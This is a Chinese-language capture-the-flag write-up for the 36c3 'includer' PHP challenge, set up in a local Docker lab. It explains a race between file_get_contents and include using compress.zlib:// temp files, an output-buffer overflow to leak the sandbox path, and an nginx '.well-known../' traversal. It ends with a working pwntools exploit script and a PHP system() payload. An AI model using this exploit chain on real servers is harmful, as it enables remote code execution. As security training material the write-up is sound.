一、环境
unbentu
这道题给了docker环境,gethub上面自己找
一个好用的linux全局切换梯子proxychains
二、开始解析
2.1初始
2.2编译
docker build .
2.3代理设置完毕
我试了一下代理还是不行,我们换源尝试一下
RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
之后便可正常部署了
docker build -t includer .
搞定
运行一下镜像
docker run -itd -p 8004:80 loadbalance-jsp_lbsnode1
生成
搭建完成之后运行在web界面显示是以下则搭建成功
那分析一下代码吧,使用vs code进行远程的连接
代码还是比较简单的
先是语言模式,然后生成32位随机字符转成16进制,执行完以后读文件看文件中是否有<?,如果有直接给删除掉,那我们思路就很清晰了包含file
之后去读取,我们肯定想包含底下这个但是因为有<?
<?php system("/readflag")
那我们就可以思考一个问题,可不可以生成一个临时文件,临时文件可不可以竞争
意思也就是我们一开始传一个正常的文件,之后传一个带一句话木马的文件,如果可以竞争的话在php代码还没有判断之前,第二个文件会对第一个文件进行覆盖
三、理论形成,实践开始
我们需要fswatch去监控,这个gethub上面直接安装,安装地址是是
Release fswatch v. 1.17.1 · emcrisostomo/fswatch · GitHub
之后打开kill使用BurpSuite
但是这种情况我测试,测试不成功,只能使用底下的python去测试
小结一下吧,不然上面显的乱
如果PHP_STREAM_PREFER_STDIO
已设置,则会调用php_stream_fopen_tmpfile()
创建临时文件。
所以我们现在可以创建具有任意内容的临时文件。
我们的目标很明显:
-
用于
compress.zlib://http://myserver
上传一些垃圾,但不要关闭连接 -
用于
.well-known../files/xxxxxxxxxxx/
列出我们的临时文件名(xxxxxxxxxxx 是目录名) -
用于
file_get_contents
与另一个会话读取临时文件 -
因为临时文件不包含
<?
,所以它会通过检查 -
从之前的连接发送我们的 php 代码
-
将临时文件包含在我们的 php 代码中
因为我们需要在file_get_contents()
和之间发送 php 代码include()
,所以我们应该竞争它!(步骤3~步骤6)
还有一个问题,我们需要在步骤1中获取目录名,但是无法关闭连接。
为了解决这个问题,我们使用 来$_POST['name']
填充 php 输出缓冲区。
然后我们将看到随机目录名称而不关闭连接。
四、总结
所以整个流程我们可以总结为以下:
1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
2.利用超长的 name 溢出 output buffer 得到 sandbox 路径
3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名
Nginx配置错误:Vulhub - Docker-Compose file for vulnerability environment
目录穿越:
4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点:
要利用大文件或ftp速度限制让连接保持
传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行
.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件
五、python代码
exp for 36c3 includer (github.com)
导入系统然后跑程序,但是它的代码引用后有问题,我进行了简单的修改后即可包含成功
import requests
from pwn import *
for i in range(100):
r=remote("192.168.170.145",8004)
l=listen(9090)
# get filename
data = """name={}&file=compress.zlib://http://192.168.170.145:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
payload = """POST / HTTP/1.1
Host: 192.168.170.145:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}""".format(len(data), data).replace("\n", "\r\n").encode()
r.send(payload)
try:
r.recvuntil("your sandbox: ".encode())
except EOFError:
print("[ERROR]"+"EOFError")
r.close()
continue
dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
print("[DEBUG]:dirname:"+dirname)
c=l.wait_for_connection()
# send trash 来让临时文件存活更久
trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
{}'''.format('A' * 5000000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小
c.send(trash)
url="http://192.168.170.145:8004/.well-known../"+dirname
print(url)
res1=requests.get(url=url)
try:
tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
print("[DEBUG]:" + tmpname)
except IndexError:
print("i will close")
l.close()
r.close()
print("[ERROR]: IndexErorr")
continue
def job():
time.sleep(0.02)
phpcode = 'wtf<?php system("/readflag");?>'
c.send(phpcode)
t = threading.Thread(target = job)
t.start()
exp_filename=dirname+tmpname
print("[DEBUG]:"+exp_filename)
res2=requests.post("http://192.168.170.145:8004/",data={"file":exp_filename})
print(res2.text,res2.status_code)
if "wtf" in res2.text:
break
l.close()
r.close()
c.close()
自然包含成功